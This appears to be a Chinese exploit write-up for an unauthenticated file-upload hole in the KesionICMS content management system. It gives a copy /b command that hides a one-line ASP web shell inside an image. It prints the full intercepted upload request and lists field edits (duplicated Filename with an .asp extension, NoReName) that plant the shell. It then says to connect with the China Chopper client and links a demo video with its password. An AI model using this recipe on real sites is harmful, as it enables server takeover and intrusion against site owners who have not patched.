来源:zph
KesionICMS除了自带的文章、图片、下载系统外还可以在文章、图片、下载三个系统模型的基础上自定义出功能模型比如房产系统,酒店系统,图片系统,软件下载等;自定义表单助您轻松打造在线报名,举报投诉等功能。10年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,力争为全球更多网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

KesionICMS某个频道上传功能的地方有缺陷,导致漏洞形成。
本漏洞测试的时候无需登录,即可进行操作。
问题出在:UserIncludeUpLoad.ashx,程序只对上传时的文件进行一系列判断,但是没有在文件上传后进行判断,导致可以getshell。
因为官网demo有 安全狗,所以不能用官网来演示菜刀连接……但证明成功上传还是可以的
20141026100840228
0x01 准备

由于程序会对图片的有效性进行判断,所以我们不得不copy一下 copy /b 1.jpg+1.asp 123.jpg
其中1.jpg为随意有效图片文件,1.asp为一句话,得到的123.jpg即为copy后待上传的图片文件。

0x02 上传&改包

用burp截包如下:

POST /user/include/upload.ashx HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
User-Agent: Shockwave Flash
Host: www.******.com
Content-Length: 18389
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=dd1zohqmmxotk045nu52vsaf
 
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filename"
 
2.jpg
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="AutoRename"
 
4
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="formid"
 
0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="FieldID"
 
pic
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="upBySwf"
 
1
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ispic"
 
0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ChannelID"
 
1001
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filedata"; filename="2.jpg"
Content-Type: application/octet-stream
 
(省略文件内容)
 
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Upload"
 
Submit Query
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3--

我们做以下几个修改:(这块语言可能描述的不太好,大家谅解,下面会有一个视频演示来帮大家理解)

1.复制以下内容(不同网站内容可能不完全相同)

------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Filename"
2.jpg

并在2.jpg后面回车、粘贴
20141026100840229
2.将第二个2.jpg改为asp后缀文件

3.将第二个Filename改为Filenames

4.复制以下内容(不同网站内容可能不完全相同)

------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="upBySwf"
1

20141026100840231
5.将第二个upBySwf改为NoReName
至此就完成修改了。下面按Ctrl+R将Raw发送到Repeater,点击Go 显示出文件路径
20141026100840232
菜刀连接即可
20141026100840233
演示视频:http://pan.baidu.com/s/1eQrIj7c 密码ptr5 不听歌的话就静音 🙂

并在1后面回车、粘贴